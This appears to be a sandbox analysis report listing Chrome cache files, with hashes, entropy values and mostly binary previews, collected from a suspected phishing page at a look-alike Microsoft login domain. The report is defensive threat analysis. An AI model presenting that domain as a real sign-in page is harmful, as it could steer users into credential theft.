Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	5095
Entropy (8bit):	4.378299851995275
Encrypted:	false
SSDEEP:	96:TOhlXhAP14Fkk9SRVrBAiwZFnyUXhJ0z6AqEaS6CCR/ykxGVEpKOZ:TOXhAP6Fkk9SRVrKRZFnyURJ0mAqZSjo
MD5:	5F9E86F824AB63D9FF543C26B22B6A7C
SHA1:	36D586C364A9A0F19AA91B81EB5A9A9F8068DB84
SHA-256:	54C04E5785F456B4CC77A8051BD49DE71A6B099F3CD64C3957F0ED496604B0D3
SHA-512:	2E571CA2E9AF6B448A8C38C007F963B36533B2513FE42DA6C3FF0BC2A0BF44D14AFA18AEB3714FA779B08B64AFAE3F194F21433BACB9AB7D482868D520E7CB3B
Malicious:	false
Reputation:	low
URL:	https://login.loraintoolsltd.xyz/FgJIoRDm
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title></title>. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">. <style>. body {. font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;. background-color: #f3f3f3;. color: #333;. display: flex;. flex-direction: column;. justify-content: space-between;. align-items: center;. height: 100vh;. margin: 0;. padding: 20px;. text-align: center;. }. h2 {. color: #0078d4;. margin-bottom: 8px;. font-size: 24px;. }. p {. color: #666;. margin-bottom: 10px;. font-size: 14px;. }. .small-text {. font-size: 12px;. margin-top: 5px;.

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,..O.b>.6-......c7.}.yp.c5.R6p..E...z3.......y7.d.M..K...n.h...OX.&..d.[/...ng.S.Ae..D<.GAe..&.^7......'..b...#..X..q....O.~W.M3.+b..m.>&^t.O..I.LU.;..a....&.k.$...{.{.^.....3OX.Oy8O...f.%..o..]..9....Ln-...'.....A.3y..v=l....G......i..../...--k...p..m..Y........XV...i.......;.o..zyc@..MLoy.b_.,.....5..w=..#.^..M.P.'<_.j...m..\|......0...w../...>\...l.>.....h...q>.w...ZM[...

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 121 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	7.812527533722707
Encrypted:	false
SSDEEP:	24:G1VHstaAyNq2yQ5oljFLG9xVXCHBubtVkRY12nS9y+W3nraFKKy1CK/t:E1s0AyNq2t+ljFL0XXCwbTOr+4rZKy1J
MD5:	B3A4ED717148F656BEB96854FA057401
SHA1:	AE32772E4684823DF91F3B3560B709A2986339F9
SHA-256:	AEF26CB3D58D0254EAB9EE6EC2F524CBB125AE251059BBB6041F3AAF31355B41
SHA-512:	E16A7BF5A600783DEAB1496E1CC4381E2EE32EE7E9D90613ACF8400F4F9B6B7CE4841F3CFF9B12C32394B8B1FA9E7BF71DC24D1A75DC8D2DCCA86A8B05366BFA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...y................bKGD..............IDATh...g..U..._.KS......F.D....,...AP.`#~../.l.."...(.._.X v...(.E.%.g.y/~83.........e.s..=s.....Bl.....e..Q........u.Q.`U...../....W.k.s..9.7...V....k.m..E....\|...Z..!...W.mD..C..b..F=...".....Umz....[8....9.u[..z.1.(....XQ+7.F./....J.w...z]&....K.oE.s@?.....A.?XS.k..s.....u.....tB..o..N).U.-....#.?..\|>...}.B...rWV?k..D.ll.7.........._...\|3.......d7.&.c.]0r\|......3...t..E.5.L\|...{.......95...Ei{0.'Q3pvg..f.!.;.x.{5qo.(.....1ExicK..`.x..J..B..ox.@.r.u.5.q...g.w.....v-.;.w....!.8?...5.'.....y`g./. .h.....;<....8..........V...1....v#&.$.I".J.G.2........\".\.v"s..lQ......g..(.0.....(..p.=.S!;A........VX..jw.d\\.[.[...xZ....".+f...hm:...z.......O&&...d....#.Z..@..$...K....5..1.........:Vakl:.p.s.".k...Z$.C.h.eL.r...x_...5....U.W...ZU9.......P''..x.l.W.....$<.CpM.Tm...J.+.U..a[.....`.b.......<,+[.."1.)J......%...R.....jg.^4D.$.g........i8.@[.f...Z......P9..,/wS..........X.....x

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 88 x 95, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPlFgt/myu1xl/k4E08up:6v/lhPItuyy7Tp
MD5:	05F4C7B9739E756972E8172E2ADC22B0
SHA1:	8B5EA32A91D49C96C023D03E9E1B81F618F4B6D3
SHA-256:	D0ACCF181F5AE78BB0718EEE159197CF35EC75A14BE8F6705BF62EA3CE785C09
SHA-512:	75E3A9F4389FD3A389C6038A1D72E189BD0E12D70E587755D29AEA8FFD2FC6D890993EF088D3E59799D677D4788D573FCE830B9B6DCE54613EFABEB370663A98
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...X..._............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	low
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	downloaded
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,..O.b>.6-......c7.}.yp.c5.R6p..E...z3.......y7.d.M..K...n.h...OX.&..d.[/...ng.S.Ae..D<.GAe..&.^7......'..b...#..X..q....O.~W.M3.+b..m.>&^t.O..I.LU.;..a....&.k.$...{.{.^.....3OX.Oy8O...f.%..o..]..9....Ln-...'.....A.3y..v=l....G......i..../...--k...p..m..Y........XV...i.......;.o..zyc@..MLoy.b_.,.....5..w=..#.^..M.P.'<_.j...m..\|......0...w../...>\...l.>.....h...q>.w...ZM[...

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	downloaded
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	dropped
Size (bytes):	894
Entropy (8bit):	2.127905712165219
Encrypted:	false
SSDEEP:	12:t4ZwygmyYzNSV54uYY45555555555555R:t2UxY9
MD5:	69E8EE1EC0AC5E2D6701C8892D985586
SHA1:	6B8BE026BB11572D318894F56326F2603098D263
SHA-256:	704E27BCBA8DCBA731E98D641D37BCE67A90106398F32C643F1E929E89A0244B
SHA-512:	4981A7734B2032AE2763DFB040B864E946E90B4949A0C272F736B5A4D9D367FC0C822A0295DDB8B1FA9067675C8AE5A4F4815D6AB208B5C013A2A245FD50029D
Malicious:	false
Reputation:	low
Preview:	..............h.......(....... ....................................................................................................................................................................................................333fff......www....................................fff......www....................................fff......www....................................www..................DDD.....................wwwfff..........................................DDDfff......fff....................................fff......fff...www..............................fff.........................................."""fff..................DDD................................................................................................................................................................................................................................................................

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 121 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1372
Entropy (8bit):	7.812527533722707
Encrypted:	false
SSDEEP:	24:G1VHstaAyNq2yQ5oljFLG9xVXCHBubtVkRY12nS9y+W3nraFKKy1CK/t:E1s0AyNq2t+ljFL0XXCwbTOr+4rZKy1J
MD5:	B3A4ED717148F656BEB96854FA057401
SHA1:	AE32772E4684823DF91F3B3560B709A2986339F9
SHA-256:	AEF26CB3D58D0254EAB9EE6EC2F524CBB125AE251059BBB6041F3AAF31355B41
SHA-512:	E16A7BF5A600783DEAB1496E1CC4381E2EE32EE7E9D90613ACF8400F4F9B6B7CE4841F3CFF9B12C32394B8B1FA9E7BF71DC24D1A75DC8D2DCCA86A8B05366BFA
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauthimages.net/81d6b03a-9wsbrvuoosuxh3gdnwlczthphjkydqjsed4eiboga3a/logintenantbranding/0/bannerlogo?ts=638071079891638771
